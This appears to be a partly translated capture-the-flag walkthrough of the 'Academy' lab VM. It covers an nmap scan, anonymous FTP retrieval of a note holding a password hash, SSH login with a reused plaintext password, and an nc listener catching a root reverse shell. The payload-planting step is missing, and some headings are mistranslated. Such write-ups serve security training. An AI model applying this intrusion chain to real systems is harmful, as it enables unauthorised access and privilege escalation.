sudo nmap -A -p- -T4 10.0.2.15 Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 12:46 EDT Nmap scan report for 10.0.2.15 Host is up (0.00066s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 1000 1000 776 May 30 2021 note.txt | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.0.2.4 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeoutin seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 c7:44:58:86:90:fd:e4:de:5b:0d:bf:07:8d:05:5d:d7 (RSA) | 256 78:ec:47:0f:0f:53:aa:a6:05:48:84:80:94:76:a6:23 (ECDSA) |_ 256 99:9c:39:11:dd:35:53:a0:29:11:20:c7:f8:bf:71:a4 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:0A:72:50 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
ftp 10.0.2.15 Connected to 10.0.2.15. 220 (vsFTPd 3.0.3) Name (10.0.2.15:hakcypuppy): anonymous 331 Please specify the password. Password: # <------- password is 'anonymous' 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> # <------- ftp shell
我们还可以使用 ftp anonymous@<target IP> 和空白密码。
如果我们在提示符中输入 ls ,我们可以看到 note.txt :
1 2 3 4 5 6
ftp> ls 229 Entering Extended Passive Mode (|||22266|) 150 Here comes the directory listing. -rw-r--r-- 1 1000 1000 776 May 30 2021 note.txt 226 Directory send OK. ftp>
我们可以使用 ftp 提示符中的 get 命令将此文件下载到我们自己的计算机上:
1 2 3 4 5 6 7 8
ftp> get note.txt local: note.txt remote: note.txt 229 Entering Extended Passive Mode (|||10905|) 150 Opening BINARY mode data connection for note.txt (776 bytes). 100% |*****************************************************************************************| 776 2.17 MiB/s 00:00 ETA 226 Transfer complete. 776 bytes received in 00:00 (250.43 KiB/s) ftp>
cat note.txt Hello Heath ! Grimmie has setup the test website for the new academy. I told him not to use the same password everywhere, he will change it ASAP.
I couldn't create a user via the admin panel, so instead I inserted directly into the database with the following command: INSERT INTO `students` (`StudentRegno`, `studentPhoto`, `password`, `studentName`, `pincode`, `session`, `department`, `semester`, `cgpa`, `creationdate`, `updationDate`) VALUES ('10201321', '', 'cd73502828457d15655bbd7a63fb0bc8', 'Rum Ham', '777777', '', '', '', '7.60', '2021-05-29 14:36:56', ''); The StudentRegno number is what you use for login. Le me know what you think of this open-source project, it's from 2020 so it should be secure... right ? We can always adapt it to our needs.
ssh grimmie@10.0.2.15 grimmie@10.0.2.15''s password: My_V3ryS3cur3_P4ss Linux academy 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Oct 5 20:45:41 2023 from 10.0.2.4 grimmie@academy:~$ # <--- we in
格里米
现在我们已经以 Grimmie 身份登录,让我们看看他们的主目录中有什么。
1 2 3 4 5 6 7 8
grimmie@academy:~$ ls backup.sh grimmie@academy:~$ cat backup.sh #!/bin/bash
rm /tmp/backup.zip zip -r /tmp/backup.zip /var/www/html/academy/includes chmod 700 /tmp/backup.zip
grimmie@academy:~$ systemctl list-timers NEXT LEFT LAST PASSED UNIT Sat 2023-10-07 14:39:00 EDT 1min 1s left Sat 2023-10-07 14:09:01 EDT 28min ago phpsessionclean Sun 2023-10-08 00:00:00 EDT 9h left Sat 2023-10-07 00:00:01 EDT 14h ago logrotate.timer Sun 2023-10-08 00:00:00 EDT 9h left Sat 2023-10-07 00:00:01 EDT 14h ago man-db.timer Sun 2023-10-08 04:45:10 EDT 14h left Sat 2023-10-07 08:00:01 EDT 6h ago apt-daily.timer Sun 2023-10-08 06:06:18 EDT 15h left Sat 2023-10-07 06:58:01 EDT 7h ago apt-daily-upgra Sun 2023-10-08 11:56:02 EDT 21h left Sat 2023-10-07 09:10:01 EDT 5h 27min ago systemd-tmpfile
6 timers listed.
有一些计时器,但似乎没有一个与我们的备份文件相关。
心灵感应
psypy 是 DominicBreuker 在 GitHub 上开发的工具。它允许我们无需 root 权限通过实时更新来监控 Linux 进程。也可以使用其他 Linux 工具,例如 top、lsof 和 ps aux。
nc -lvnp 44445 listening on [any] 44445 ... connect to [10.0.2.4] from (UNKNOWN) [10.0.2.15] 34634 bash: cannot set terminal process group (18009): Inappropriate ioctl for device bash: no job control in this shell root@academy:~# # <-----------
标志
一旦我们以root身份进入,我们所要做的就是观察周围的环境:
1 2 3 4 5 6 7 8 9 10 11
root@academy:~# ls ls flag.txt root@academy:~# cat flag.txt cat flag.txt Congratz you rooted this box ! Looks like this CMS isn't so secure... I hope you enjoyed it. If you had any issue please let us know in the course discord. Happy hacking ! root@academy:~#